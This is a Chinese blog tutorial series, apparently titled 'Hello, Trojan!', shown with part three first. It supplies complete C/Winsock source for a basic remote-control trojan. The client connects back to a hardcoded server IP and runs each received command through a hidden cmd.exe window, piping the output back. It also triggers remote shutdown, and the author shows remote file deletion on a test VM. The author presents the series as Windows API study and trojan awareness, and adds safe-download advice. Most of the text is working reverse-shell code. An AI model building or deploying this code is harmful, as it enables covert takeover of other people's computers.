没有找到 MSVCR100D.dll 的解决方案

解决方案资源管理器->项目【右键】->属性->代码生成->把原来的【运行库 : 多线程调试 DLL (/MDd)】 改为 【多线程(/MT)】

没有找到 MSVCR100D.dll

Advertisements

木马,你好!(三)管道与远程控制

上一讲的代码还是有点难看,先简单修改一下客户端的代码,将执行命令这一部分专门独立出来。

int run(char *recvCmd, char *message)
{
	if (strcmp(recvCmd, "test") == 0)
	{
		strcpy(message, "服务端你好,有什么事吗~");
	}
	else if (strcmp(recvCmd, "shutdown") == 0)
	{
		// 执行关机命令,设了个定时关机没直接关
		system("shutdown -s -t 1800");
		strcpy(message, "客户端将在 30 分钟后关闭");
	}
	else if (strcmp(recvCmd, "cancel") == 0)
	{
		// 注销关机命令
		system("shutdown -a");
		strcpy(message, "客户端定时关机已取消");
	} else if (strcmp(recvCmd, "exit") == 0)
	{
		return 1;
	}

	return 0;
}

这样写会稍微好一点,不过还是提一句,如果有研究过算法的同学,也可以使用 哈希表 来做这个,效果很快很多,而且那样的话多加几个自定义命令也没关系了。

管道 + CMD

用上一讲的办法,我们确实可以在目标计算机上做些什么可是,还远远达不到控制的程度。而且每一次新加一个功能都要去修改代码也不是很方便,有没有一个简单的办法去操控目标计算机又不用写很多代码的?

有一个很好的办法就是操作目标计算机上的 CMD,如果这个功能实现了,那么你能在当前的计算机上用 CMD 做的事情,在目标计算机上也可以做的到了。

当然如果只是简单的使用 CMD ,那其实不用麻烦什么直接用 system(“”) 函数就可以调用 CMD 了在目标计算机执行命令了,但是一个很大的问题就是,我们要如何才能看到目标计算机上 CMD 执行的输出呢?一个很简单的办法就是使用管道。(当然输出流重定向 + system(“”) 也是可以的)

服务端

稍微修改一些地方,将 recvbuf 调大了,不用 scanf 而用 gets (gets可以取一行的字符串)。

#include <stdio.h>
#include <string.h>
#include <Winsock2.h>
#pragma comment(lib, "ws2_32.lib")

void main()
{
	/* ... */
    // 将服务器端socket绑定在本地端口
    bind(sockServer, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));
    // Listen 监听端口
    listen(sockServer, 5); // 5 为等待连接数目

    printf("服务器已启动:n监听中...n");

	// 等待客户端连接
    sockClient = accept(sockServer, (SOCKADDR *)&addrClient, &len);
	// 获取ip地址
	ip = inet_ntoa(addrClient.sin_addr);
	// 输出连接提示
	printf("-- IP %s 连接到服务端n", ip);
 
	while (1)
	{		
		printf("-- %s: %s n>>", ip, recvBuf);
		gets(cmdStr);

		// 将命令发送到客户端
		send(sockClient, cmdStr, strlen(cmdStr) + 1, 0);

		// 如果用户输入 exit 则结束循环
		if (strcmp(cmdStr, "exit") == 0)
		{
			break;
		}
		recv(sockClient, recvBuf, 1024, 0);
	}

    closesocket(sockClient);
	WSACleanup();
}

客户端

客户端中,我们使用 CreateProcess 来新建了一个 CMD 进程,接着使用管道,获取到 CMD 执行命令输出的结果,并把这个结果发送到服务端来。

#include <Winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

#define MSG_LEN 1024

/**
 * 执行 CMD 命令
 */
int cmd(char *cmdStr, char *message)
{
	DWORD readByte = 0;
	char command[1024] = {0};
	char buf[MSG_LEN] = {0};    //缓冲区

	HANDLE hRead, hWrite;
	STARTUPINFO si;			// 启动配置信息
	PROCESS_INFORMATION pi;	// 进程信息
	SECURITY_ATTRIBUTES sa; // 管道安全属性

	// 拼接 cmd 命令
	sprintf(command, "cmd.exe /c %s", cmdStr);
	// printf("-- CMD 命令: [%s]n", command);

	// 配置管道安全属性
	sa.nLength = sizeof( sa );
	sa.bInheritHandle = TRUE; // 管道句柄是可被继承的
	sa.lpSecurityDescriptor = NULL;

	// 创建匿名管道,管道句柄是可被继承的
	if( !CreatePipe(&hRead, &hWrite, &sa, 1024))
	{
		printf( "管道创建失败! Error: %xn", (unsigned int)GetLastError() );
		return 1;
	}

	// 配置 cmd 启动信息
	ZeroMemory( &si, sizeof( si ) );
	si.cb = sizeof( si ); // 获取兼容大小
	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; // 标准输出等使用额外的
	si.wShowWindow = SW_HIDE;				// 隐藏窗口启动
	si.hStdOutput = si.hStdError = hWrite;	// 输出流和错误流指向管道写的一头

	// 创建子进程,运行命令,子进程是可继承的
	if ( !CreateProcess( 
		NULL, 		// 不传程序路径, 使用命令行	
		command, 	// 命令行命令		
		NULL, 		// 不继承进程句柄(默认)	
		NULL, 		// 不继承线程句柄(默认)	
		TRUE, 		// 继承句柄
		0, 			// 没有创建标志(默认)
		NULL, 		// 使用默认环境变量	
		NULL, 		// 使用父进程的目录	
		&si, 		// STARTUPINFO 结构存储启动信息
		&pi ) )		// PROCESS_INFORMATION 保存启动后的进程相关信息	
	{
		printf( "创建进程失败! Error: %xn", (unsigned int)GetLastError() );
		CloseHandle( hRead );
		CloseHandle( hWrite );
		return 1;
	}
	
	CloseHandle( hWrite );

	/* 
		管道的 write 端句柄已被 cmd 的输出流和错误流继承,
		即 cmd 输出时会把数据写入管道。
		我们通过读取管道的 read 端,就可以获得 cmd 的输出
	*/
	while (ReadFile( hRead, buf, MSG_LEN, &readByte, NULL ))
	{
		strcat(message, buf);
		ZeroMemory( buf, MSG_LEN );
	}

	//printf("-- [CMD] Message: [%s] Length:%d n", message, strlen(message) + 1);

	CloseHandle( hRead );
	return 0;
}

/**
 * 运行命令
 */
int run(char *recvCmd, char *message)
{
	if (strcmp(recvCmd, "test") == 0)
	{
		strcpy(message, "服务端你好,有什么事吗~");
	}
	else if (strcmp(recvCmd, "shutdown") == 0)
	{
		// 执行关机命令,设了个定时关机没直接关
		system("shutdown -s -t 1800");
		strcpy(message, "客户端将在 30 分钟后关闭");
	}
	else if (strcmp(recvCmd, "cancel") == 0)
	{
		// 注销关机命令
		system("shutdown -a");
		strcpy(message, "客户端定时关机已取消");
	}
	else if (strcmp(recvCmd, "exit") == 0)
	{
		return 1;
	}
	else 
	{
		// 调用 cmd
		cmd(recvCmd, message);
	}

	return 0;
}

void main()
{
	int err = 0;
	char message[MSG_LEN] = {0};
	char recvCmd[100] = {0};

	SOCKET sockClient; // 客户端 Scoket
	SOCKADDR_IN addrServer; // 服务端地址

	WSADATA wsaData;
	WORD wVersionRequested;

	wVersionRequested = MAKEWORD( 2, 2 );

	err = WSAStartup( wVersionRequested, &wsaData );

	if ( err != 0 )
	{
		return;
	}

	if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
	{
		// 启动错误,程序结束
		WSACleanup( );
		return;
	}

	// 新建客户端 scoket
	sockClient = socket(AF_INET, SOCK_STREAM, 0);

	// 定义要连接的服务端地址
	addrServer.sin_addr.S_un.S_addr = inet_addr("192.168.1.106"); // 服务端 IP 
	addrServer.sin_family = AF_INET;                           // 协议类型是INET
	addrServer.sin_port = htons(6000);                         // 连接端口1234

	// 让 sockClient 连接到 服务端
	connect(sockClient, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));

	while(1)
	{
		// 清空字符串
		ZeroMemory(recvCmd, sizeof(recvCmd));
		ZeroMemory(message, sizeof(message));

		// 从服务端获取命令
		recv(sockClient, recvCmd, MSG_LEN, 0);
		
		// 发送数据到服务端
		if (strlen(recvCmd) > 0)
		{
			printf("-- 收到命令: [%s]n", recvCmd);

			if ( run(recvCmd, message) )
			{
				break;
			}

			// printf("Message: [%s] Length:%d n", message, strlen(message) + 1);
			send(sockClient, message, strlen(message) + 1, 0);
		}
	}

	// 关闭socket
	closesocket(sockClient);
	WSACleanup();
}

客户端新增了 cmd() 函数,用来执行,并返回。

本地测试

control_client_delete

上述图片是,远程控制目标电脑关机截图。

虚拟机测试

control_client_shutdown_2

在 xp 的虚拟机上测试,关机功能很轻松的可以实现,不过还有一个比较大的问题问题,就是 客户端会在 CreateProcess 之后的 ReadFile 中卡壳了。程序就停在那不动了。这个让人有点小郁闷。原因是因为 readFile 读管道阻塞了。

为了适应这个变化,博主开始编写简单的多线程版本了。

简单的多线程交互

关于线程方面的知识点,没印象的同学可以去看看博主的《Windows API 教程(五) 线程编程》

博主这里也只是简单的加了个多线程上去,各位可以简单的看下。

服务端


#include <stdio.h>
#include <string.h>
#include <Winsock2.h>
#pragma comment(lib, "ws2_32.lib")

SOCKET sockClient;     // 客户端 Scoket

DWORD WINAPI ThreadProc (LPVOID lpThreadParameter)
{
	char recvBuf[1024] = {0};    //缓冲区
	int num = 0;
	while (1)
	{
		num = recv(sockClient, recvBuf, 1024, 0);
		if (num > 0)
		{
			printf("Receive:n%sn>>", recvBuf);
			num = 0;
		}
		Sleep(50);
	}
	return 0;
}

void main()
{
    int err; // 错误信息
    int len = sizeof(SOCKADDR);
	DWORD Tid; // 线程 ID

	char  cmdStr[100] = {0};
	char sendBuf[100] = {0}; // 发送至客户端的字符串
	char recvBuf[1024] = {0}; // 接受客户端返回的字符串
	char * ip;

    SOCKET sockServer;     // 服务端 Socket
    SOCKADDR_IN addrServer;// 服务端地址    
    SOCKADDR_IN addrClient;// 客户端地址

    WSADATA wsaData;       // winsock 结构体
    WORD wVersionRequested;// winsock 的版本

    // 配置 Windows Socket版本
    wVersionRequested = MAKEWORD( 2, 2 );

    // 初始化 Windows Socket
    err = WSAStartup( wVersionRequested, &wsaData );

    if ( err != 0 )
    {
        // 启动错误,程序结束
        return;
    }

    if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
    {
        // 启动错误,程序结束
        WSACleanup(); // 终止Winsock 2 DLL (Ws2_32.dll) 的使用
        return;
    }

    // 定义服务器端socket
    sockServer = socket(AF_INET, SOCK_STREAM, 0);
    //  设置服务端 socket
    addrServer.sin_addr.S_un.S_addr = inet_addr("192.168.1.106"); // 本机IP
    addrServer.sin_family = AF_INET;                   // 协议类型是INET
    addrServer.sin_port = htons(6000);                 // 绑定端口6000
    // 将服务器端socket绑定在本地端口
    bind(sockServer, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));
    // Listen 监听端口
    listen(sockServer, 5); // 5 为等待连接数目

    printf("服务器已启动:n监听中...n");

	// 等待客户端连接
    sockClient = accept(sockServer, (SOCKADDR *)&addrClient, &len);
	// 获取ip地址
	ip = inet_ntoa(addrClient.sin_addr);
	// 输出连接提示
	printf("-- IP %s 连接到服务端n", ip);

	// 开启接收消息
	CreateThread(
		NULL,       // 不能被子进程继承
		0,          // 默认堆栈大小
		ThreadProc, // 线程调用函数过程
		NULL,		// 传递参数
		0,          // 创建后立即执行
		&Tid        // 保存创建后的线程ID
	);
 
	while (1)
	{
		printf(">>");
		gets(cmdStr);
			
		// 根据输入的不同命令来执行不同的操作
		if (strcmp(cmdStr, "exit") == 0)
		{
			send(sockClient, cmdStr, strlen(cmdStr) + 1, 0);
			break; // 如果用户输入 exit 则结束循环
		}
		// 否则将命令发送到客户端
		send(sockClient, cmdStr, strlen(cmdStr) + 1, 0);
	}
    closesocket(sockClient);
	WSACleanup();
}

客户端

发送数据给服务端的时候,其实还有一个要注意的地方,就是不能让数据很快的发过去,因为服务端不一定能很快的接收到。有可能客户端发送了三段数据过去,而由于时间差或者网络延迟,服务端只收到了最后一段。这是多线程导致的一个问题。如果是单线程的你发我收,然后我再发你再收就会安全许多。

#include <Winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

#define MSG_LEN 1024

SOCKET sockClient; // 客户端 Scoket
HANDLE hRead;

void post(char *msg)
{
	send(sockClient, msg, strlen(msg) + 1, 0);
	// printf("-- post: [%s] n", msg);
}

DWORD WINAPI ThreadProc (LPVOID lpThreadParameter)
{
	char buf[2048] = {0};    //缓冲区
	DWORD len = 0;
	// printf("进入子线程, 读取数据n");
	// 读管道内容,并显示
	while (ReadFile( hRead, buf, MSG_LEN, &len, NULL ))
	{
		post( buf );
		ZeroMemory( buf, MSG_LEN );
		Sleep(800);
	}
	CloseHandle( hRead );
	return 0;
}

int cmd(char *cmdStr, char *message)
{
	char command[1024] = {0};
	char buf[MSG_LEN] = {0};    //缓冲区

	HANDLE hWrite;
	STARTUPINFO si;			// 启动配置信息
	PROCESS_INFORMATION pi;	// 进程信息
	SECURITY_ATTRIBUTES sa; // 管道安全属性

	DWORD Tid;

	// 拼接 cmd 命令
	sprintf(command, "cmd.exe /c %s", cmdStr);
	// printf("-- CMD 命令: [%s]n", command);

	// 配置管道安全属性
	sa.nLength = sizeof( sa );
	sa.bInheritHandle = TRUE; // 管道句柄是可被继承的
	sa.lpSecurityDescriptor = NULL;

	// 创建匿名管道,管道句柄是可被继承的
	if( !CreatePipe(&hRead, &hWrite, &sa, 1024))
	{
		printf( "管道创建失败! Error: %xn", (unsigned int)GetLastError() );
		return 1;
	}

	// 配置 cmd 启动信息
	ZeroMemory( &si, sizeof( si ) );
	si.cb = sizeof( si ); // 获取兼容大小
	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; // 标准输出等使用额外的
	si.wShowWindow = SW_HIDE;				// 隐藏窗口启动
	si.hStdOutput = si.hStdError = hWrite;	// 输出流和错误流指向管道写的一头

	// 创建子进程,运行命令,子进程是可继承的
	if ( !CreateProcess( 
		NULL, 		// 不传程序路径, 使用命令行	
		command, 	// 命令行命令		
		NULL, 		// 不继承进程句柄(默认)	
		NULL, 		// 不继承线程句柄(默认)	
		TRUE, 		// 继承句柄
		0, 			// 没有创建标志(默认)
		NULL, 		// 使用默认环境变量	
		NULL, 		// 使用父进程的目录	
		&si, 		// STARTUPINFO 结构存储启动信息
		&pi ) )		// PROCESS_INFORMATION 保存启动后的进程相关信息	
	{
		printf( "创建进程失败! Error: %xn", (unsigned int)GetLastError() );
		CloseHandle( hRead );
		CloseHandle( hWrite );
		return 1;
	}
	
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	CloseHandle( hWrite );

	CreateThread(
		NULL,       // 不能被子进程继承
		0,          // 默认堆栈大小
		ThreadProc, // 线程调用函数过程
		hRead,		// 传递参数
		0,          // 创建后立即执行
		&Tid        // 保存创建后的线程ID
	);

	// TODO:: 结束上一次线程

	return 0;
}

int run(char *recvCmd, char *message)
{
	if (strcmp(recvCmd, "test") == 0)
	{
		strcpy(message, "服务端你好,有什么事吗~");
	}
	else if (strcmp(recvCmd, "shutdown") == 0)
	{
		// 执行关机命令,设了个定时关机没直接关
		system("shutdown -s -t 1800");
		strcpy(message, "客户端将在 30 分钟后关闭");
	}
	else if (strcmp(recvCmd, "cancel") == 0)
	{
		// 注销关机命令
		system("shutdown -a");
		strcpy(message, "客户端定时关机已取消");
	}
	else if (strcmp(recvCmd, "exit") == 0)
	{
		return 1;
	}
	else 
	{
		// 调用 cmd
		cmd(recvCmd, message);
	}
	return 0;
}

void main()
{
	int err = 0;
	char message[MSG_LEN] = {0};
	char recvCmd[100] = {0};

	SOCKADDR_IN addrServer; // 服务端地址

	WSADATA wsaData;
	WORD wVersionRequested;

	wVersionRequested = MAKEWORD( 2, 2 );

	err = WSAStartup( wVersionRequested, &wsaData );

	if ( err != 0 )
	{
		return;
	}

	if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
	{
		// 启动错误,程序结束
		WSACleanup( );
		return;
	}

	// 新建客户端 scoket
	sockClient = socket(AF_INET, SOCK_STREAM, 0);

	// 定义要连接的服务端地址
	addrServer.sin_addr.S_un.S_addr = inet_addr("192.168.1.106"); // 服务端 IP 
	addrServer.sin_family = AF_INET;                           // 协议类型是INET
	addrServer.sin_port = htons(6000);                         // 连接端口1234

	// 让 sockClient 连接到 服务端
	connect(sockClient, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));

	while(1)
	{
		// 清空字符串
		ZeroMemory(recvCmd, sizeof(recvCmd));
		ZeroMemory(message, sizeof(message));

		// 从服务端获取命令
		recv(sockClient, recvCmd, MSG_LEN, 0);
		
		// 发送数据到服务端
		if (strlen(recvCmd) > 0)
		{
			printf("-- 收到命令: [%s]n", recvCmd);
			if ( run(recvCmd, message) )
			{
				break;
			}
			// printf("Message: [%s] Length:%d n", message, strlen(message) + 1);
			post(message);
		}
	}
	// 关闭socket
	closesocket(sockClient);
	WSACleanup();
}

远程删除目标电脑上的文件测试截图:

control_client_delete_2

文章索引

上一讲:木马,你好!(二)最简单的木马
下一讲:木马,你好!(三)管道与远程控制

木马,你好!(二)最简单的木马

如果,上一讲你有思考过如何编写一个简单的木马,并且有付诸行动的话,那么这一讲也就是一个应正的章节了。

那么接着上一讲的思路,既然服务端与客户端可以交互,那么也意味着服务端可以向客户端发送命令,客户端接受命令并执行,然后返回执行结果。那么只要事先设置好命令的名称以及客户端的执行操作,那么就能写出一个简单的木马出来了。

服务端代码

服务器端,咱们既然是要写木马的话,那么客户端那边也就不用什么欢迎信息,直接省略。同时原本的外层 while 循环也省略掉了。对于要操控的客户端而言,这里的服务端主要是用来发出指令的,而客户端则按照指令来执行相应的操作。

#include <stdio.h>
#include <string.h>
#include <Winsock2.h>
#pragma comment(lib, "ws2_32.lib")

void main()
{
	int err; // 错误信息
	int len = sizeof(SOCKADDR);

	char  cmdStr[100] = {0};
	char sendBuf[100] = {0}; // 发送至客户端的字符串
	char recvBuf[100] = {0}; // 接受客户端返回的字符串
	char * ip;

	SOCKET sockServer;     // 服务端 Socket
	SOCKADDR_IN addrServer;// 服务端地址
	SOCKET sockClient;     // 客户端 Scoket
	SOCKADDR_IN addrClient;// 客户端地址

	WSADATA wsaData;       // winsock 结构体
	WORD wVersionRequested;// winsock 的版本

	// 配置 Windows Socket版本
	wVersionRequested = MAKEWORD( 2, 2 );

	// 初始化 Windows Socket
	err = WSAStartup( wVersionRequested, &wsaData );

	if ( err != 0 )
	{
		// 启动错误,程序结束
		return;
	}

	if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
	{
		// 启动错误,程序结束
		WSACleanup(); // 终止Winsock 2 DLL (Ws2_32.dll) 的使用
		return;
	}

	// 定义服务器端socket
	sockServer = socket(AF_INET, SOCK_STREAM, 0);
	//  设置服务端 socket
	addrServer.sin_addr.S_un.S_addr = htonl(INADDR_ANY); // 本机IP
	addrServer.sin_family = AF_INET;                   // 协议类型是INET
	addrServer.sin_port = htons(6000);                 // 绑定端口6000
	// 将服务器端socket绑定在本地端口
	bind(sockServer, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));
	// Listen 监听端口
	listen(sockServer, 5); // 5 为等待连接数目

	printf("服务器已启动:n监听中...n");

	// 等待客户端连接
	sockClient = accept(sockServer, (SOCKADDR *)&addrClient, &len);
	// 获取ip地址
	ip = inet_ntoa(addrClient.sin_addr);
	// 输出连接提示
	printf("-- IP %s 连接到服务端n", ip);

	while (1)
	{		
		printf("-- %s: %s n>>", ip, recvBuf);
		scanf("%s",cmdStr);
			
		// 根据输入的不同命令来执行不同的操作
		if (strcmp(cmdStr, "exit") == 0)
		{
			send(sockClient, cmdStr, strlen(cmdStr) + 1, 0);
			break; // 如果用户输入 exit 则结束循环
		}
		// 否则将命令发送到客户端
		send(sockClient, cmdStr, strlen(cmdStr) + 1, 0);
		recv(sockClient, recvBuf, 100, 0);
	}

	closesocket(sockClient);
	WSACleanup();
}

客户端代码

作为木马,最主要的作用就是执行服务端发过来的命令,所以聊天的功能已经省略。这里博主也偷下懒,各位自己找台电脑测试,客户端这里要主动去 connect (连接) 服务端,代码中间也可以看得出来时需要填写 服务端 IP 的,如果是在两台电脑或者是虚拟机上测试的时候记得要修正连接的 IP,查看计算机 IP 请使用 CMD 的 ipconfig 命令。

#include <Winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

#define MSG_LEN 1024

void main()
{
	int err = 0;
	char message[MSG_LEN] = {0};
	char recvCmd[100] = {0};

	SOCKET sockClient; // 客户端 Scoket
	SOCKADDR_IN addrServer; // 服务端地址

	WSADATA wsaData;
	WORD wVersionRequested;

	wVersionRequested = MAKEWORD( 2, 2 );

	err = WSAStartup( wVersionRequested, &wsaData );

	if ( err != 0 )
	{
		return;
	}

	if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
	{
		// 启动错误,程序结束
		WSACleanup( );
		return;
	}

	// 新建客户端 scoket
	sockClient = socket(AF_INET, SOCK_STREAM, 0);

	// 定义要连接的服务端地址
	addrServer.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");  // 目标IP (127.0.0.1是本机地址)
	addrServer.sin_family = AF_INET;                           // 协议类型是INET
	addrServer.sin_port = htons(6000);                         // 连接端口1234

	// 让 sockClient 连接到 服务端
	connect(sockClient, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));

	while(1)
	{
		// 清空字符串
		ZeroMemory(recvCmd, sizeof(recvCmd));
		ZeroMemory(message, sizeof(message));
		// 从服务端获取数据
		recv(sockClient, recvCmd, MSG_LEN, 0);
		// 打印数据
		printf("-- 收到命令: [%s]n", recvCmd);

		if (strcmp(recvCmd, "test") == 0)
		{
			strcpy(message, "服务端你好,有什么事吗~");
		}
		else if (strcmp(recvCmd, "shutdown") == 0)
		{
			// 执行关机命令,设了个定时关机没直接关
			system("shutdown -s -t 1800");
			strcpy(message, "客户端将在 30 分钟后关闭");
		}
		else if (strcmp(recvCmd, "cancel") == 0)
		{
			// 注销关机命令
			system("shutdown -a");
			strcpy(message, "客户端定时关机已取消");
		}
		else if (strcmp(recvCmd, "exit") == 0)
		{
			break;
		}

		if (strlen(recvCmd) > 0)
		{
			// 发送数据到服务端
			send(sockClient, message, strlen(message) + 1, 0);
		}
	}

	// 关闭socket
	closesocket(sockClient);
	WSACleanup();
}

control_client_shutdown

目前上面的程序还只是简单的调用了一下 cmd 自带的命令,来实现控制客户端的关机操作,各位其实也可以使用 WinAPI 的 ExitWindowsEx 函数来进行关机,貌似这个要专业很多。

嗯,看到这里都没有什么压力的话,就已经可以考虑要添加什么样的其他功能到客户端上来了。基本上能在本机实现的操作,都可以添加到客户端上然后远程指挥客户端。

其他的唠叨

当然,这种程度的效果,大部分有程序都能做到,有可能电脑上运行的 360 QQ 等程序都有做,毕竟要留个后门实在太简单。

前一阵子迅雷就被爆出来了一个后门事件 (《迅雷留后门“耍流氓”千万用户变“肉鸡”》),当然这些程序留的后门可能也有冠冕堂皇的理由,例如更新。前一阵子好压就有背着用户强制安装了某些软件的事情发生,可以说后门这个东西其实是一个业内众人皆知的问题。

关于这类问题,博主的应对方案就是,劲量用轻量级的、开源的软件,尽量用英文版,劲量用国外软件,少用破解版、绿色版、不要在没有信誉的网站上下载软件或游戏来安装。有的人会在破解的程序里面植入自己的木马,而你在毫不知情的情况下使用了这种软件或游戏,指不定就默默的成为了这哥们的肉鸡。

所以,经历过几次之后,博主也算是学乖了,下载东西第一时间都是上官网下载,除非官网上没有下载链接,才会考虑其他渠道来获取。不过还是要强调一下,希望各位支持正版!

(以下文字为博主唠叨,各位看教程的可自行跳过)

做软件和游戏的人都不容易啊!如果每个人都去玩盗版,安全性不说,光是游戏公司蒙受的损失就是一个巨大的数额,严重时甚至会导致你喜欢的游戏开发团队很有可能因此破产。博主童年所喜欢的好多国产经典单机游戏,都是因为这样的原因而淹没在那个盗版光碟飞舞的年代,说真的,这对当时国内刚起来的很多游戏公司打击很大,这也直接导致了现在大部分公司都只做网游的现状。说起来,《傲世三国》到现在还能搜到,至于《三国争霸》等很多博主童年玩过的国产游戏现在连搜都搜不到了。想想真的是痛心疾首。。。(此处省略500字)

文章索引

上一讲:木马,你好!(一)教程简介
下一讲:木马,你好!(三)管道与远程控制介

木马,你好!(一)教程简介

本教程目的不是教人如何去写木马,而是通过一些常见的木马知识来让大家熟悉一下一些 Windows API 的用法,并且通过了解木马编写的套路来开拓一下变成思路,以及如何防止这些常见的木马。

嗯,当然该教程既然名叫《木马,你好!》那么实际上内容也是 “你好” 这个等级的,大家算是走走过场,中间如有有碰到博主无意义的唠叨也都请无视。

以下是本教程学习的一些要求:

工具:visual studio 2010
需求:C/C++ 基础 + Windows API 基础(网络编程主要)
环境:Win7 / WinXP
测试:除开发机之外还有一台 XP/Win7 的计算机或虚拟机

虚拟机安装:

Win7 的话可以考虑用官方提供的 XP 模式(百度请搜 “win7 xp mode” 到微软官网搜索更佳),除此之外可以考虑使用 Vmware 安装虚拟机,当然如果不懂这些的话,直接在自己的计算机上也可以,只不过测试出来的效果就没有那么好了。

如果以上要求都符合(当然工具不一定非要 vs2010 ),那么我们就可以开始本次教程的旅途了。

木马(Trojan)这个名字来源于古希腊传说,特洛伊王子帕里斯访问希腊,诱走了王后海伦,希腊人因此远征特洛伊。围攻9年后,到第10年,希腊将领奥德修斯献了一计,就是把一批勇士埋伏在一匹巨大的木马腹内,放在城外后,佯作退兵。特洛伊人以为敌兵已退,就把木马作为战利品搬入城中。到了夜间,埋伏在木马中的勇士跳出来,打开了城门,希腊将士一拥而入攻下了城池。后来,人们在写文章时,就常用“特洛伊木马”这一典故,用来比喻在敌方营垒里埋下伏兵里应外合的活动。

而到了现在,Trojan 一词的特洛伊木马本意是 “特洛伊的” ,即代指特洛伊木马。如果你已经了解了这个故事,那么你也差不多理解了木马到底是干什么的。就如开始故事里面说的那样,计算机”木马”就是悄悄的潜伏在你的计算机中干坏事的那个木马。

目前来说,“木马” 程序是目前比较流行的病毒文件,与一般的病毒不同,它不会自我繁殖,也并不“刻意”地去感染其他文件,它通过将自身伪装吸引用户下载执行,向施种木马者提供打开被种者计算机的门户,使施种者可以任意毁坏、窃取被种者的文件,甚至远程操控被种者的计算机。

如果你已经学习了 Windows API 中的网络编程部分,并对该部分有了一定的掌握(这个是必须的,如果没有请查看博主的《Windows API 教程(九) 网络编程》),那么我们就可以简单的来聊聊木马了。

当你第一次编写出连带服务端还有客户端的 socket 通信程序之后,你有想过有通过这个技术来写些什么东西吗?事实上,不管你想的东西有多少,博主都可以明确的告诉你:这东西的用途远远要比你想象的多。

首先呢,一个很简单的应用就是用来做木马。为什么这么说?原因很简单,木马程序对 GUI (窗口编程)没有什么要求,因为一般都是写着自己用。而且木马程序的思路其实很简单,就只是服务端跟客户端的连接之后的简单应用。

印象不深的各位可以简单的浏览一下博主的代码(简单的socket通信实例),这里是一个很简单的 socket 通信的例子,中间有一个简单的交互过程,即在客户端连接上来的时候服务端发送一个字符串下来,而客户端第一时间就能收到这个服务端下发的字符串,随后返回一个字符。

那么博主这里在那个代码的基础上稍微修改一下:

server.c

#include <Winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void main()
{
    int err; // 错误信息
    int len;

	char sendBuf[100] = {0}; // 发送至客户端的字符串
	char recvBuf[100] = {0}; // 接受客户端返回的字符串
	char *ip;

    SOCKET sockServer;     // 服务端 Socket
    SOCKADDR_IN addrServer;// 服务端地址
    SOCKET sockClient;     // 客户端 Scoket
    SOCKADDR_IN addrClient;// 客户端地址

    WSADATA wsaData;       // winsock 结构体
    WORD wVersionRequested;// winsock 的版本

    // 配置 Windows Socket版本
    wVersionRequested = MAKEWORD( 2, 2 );

    // 初始化 Windows Socket
    err = WSAStartup( wVersionRequested, &wsaData );

    if ( err != 0 )
    {
        // 启动错误,程序结束
        return;
    }

    /*
     * 确认WinSock DLL支持2.2
     * 请注意如果DLL支持的版本大于2.2至2.2
     * 它仍然会返回wVersion2.2的版本
     */

    if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
    {
        // 启动错误,程序结束
        WSACleanup(); // 终止Winsock 2 DLL (Ws2_32.dll) 的使用
        return;
    }

    // 定义服务器端socket
    sockServer = socket(AF_INET, SOCK_STREAM, 0);

    //  设置服务端 socket
    addrServer.sin_addr.S_un.S_addr = htonl(INADDR_ANY); // 本机IP
    addrServer.sin_family = AF_INET;                   // 协议类型是INET
    addrServer.sin_port = htons(6000);                 // 绑定端口6000

    // 将服务器端socket绑定在本地端口
    bind(sockServer, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));

    // Listen 监听端口
    listen(sockServer, 5); // 5 为等待连接数目

    printf("服务器已启动:n监听中...n");

    len = sizeof(SOCKADDR);

    while (1)
    {
        // accept 会阻塞进程,直到有客户端连接上来为止
        sockClient = accept(sockServer, (SOCKADDR *)&addrClient, &len);
		// 获取ip地址
		ip = inet_ntoa(addrClient.sin_addr);
		// 输出连接提示
		printf("-- IP %s 连接到服务端n", ip);
        // 当客户端连接上来时, 拼接如下字符串        
        sprintf(sendBuf, "欢迎 ip: %s 的用户连接, 这里是 Lellansin 的服务器", ip);
		// 向客户端发送字符串
		send(sockClient, sendBuf, strlen(sendBuf) + 1, 0);

		while (1)
		{			
			// 获取客户端返回的数据
			recv(sockClient, recvBuf, 100, 0);
			// 打印客户端返回的数据
			printf("-- %s: %sn", ip, recvBuf);
			// 输入提示符
			printf(">>");
			// 接收用户的输入
			scanf("%s",sendBuf);
			// 向客户端发送字符串
			send(sockClient, sendBuf, strlen(sendBuf) + 1, 0);
		}

        // 关闭socket
        closesocket(sockClient);
    }
}

client.c

#include <Winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void main()
{
	int err = 0;
	char message[256] = {0};
	char recvBuf[100] = {0};

	SOCKET sockClient; // 客户端 Scoket
	SOCKADDR_IN addrServer; // 服务端地址

	WSADATA wsaData;
	WORD wVersionRequested;

	wVersionRequested = MAKEWORD( 2, 2 );

	err = WSAStartup( wVersionRequested, &wsaData );

	if ( err != 0 )
	{
		return;
	}

	if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
	{
		// 启动错误,程序结束
		WSACleanup( );
		return;
	}

	// 新建客户端 scoket
	sockClient = socket(AF_INET, SOCK_STREAM, 0);

	// 定义要连接的服务端地址
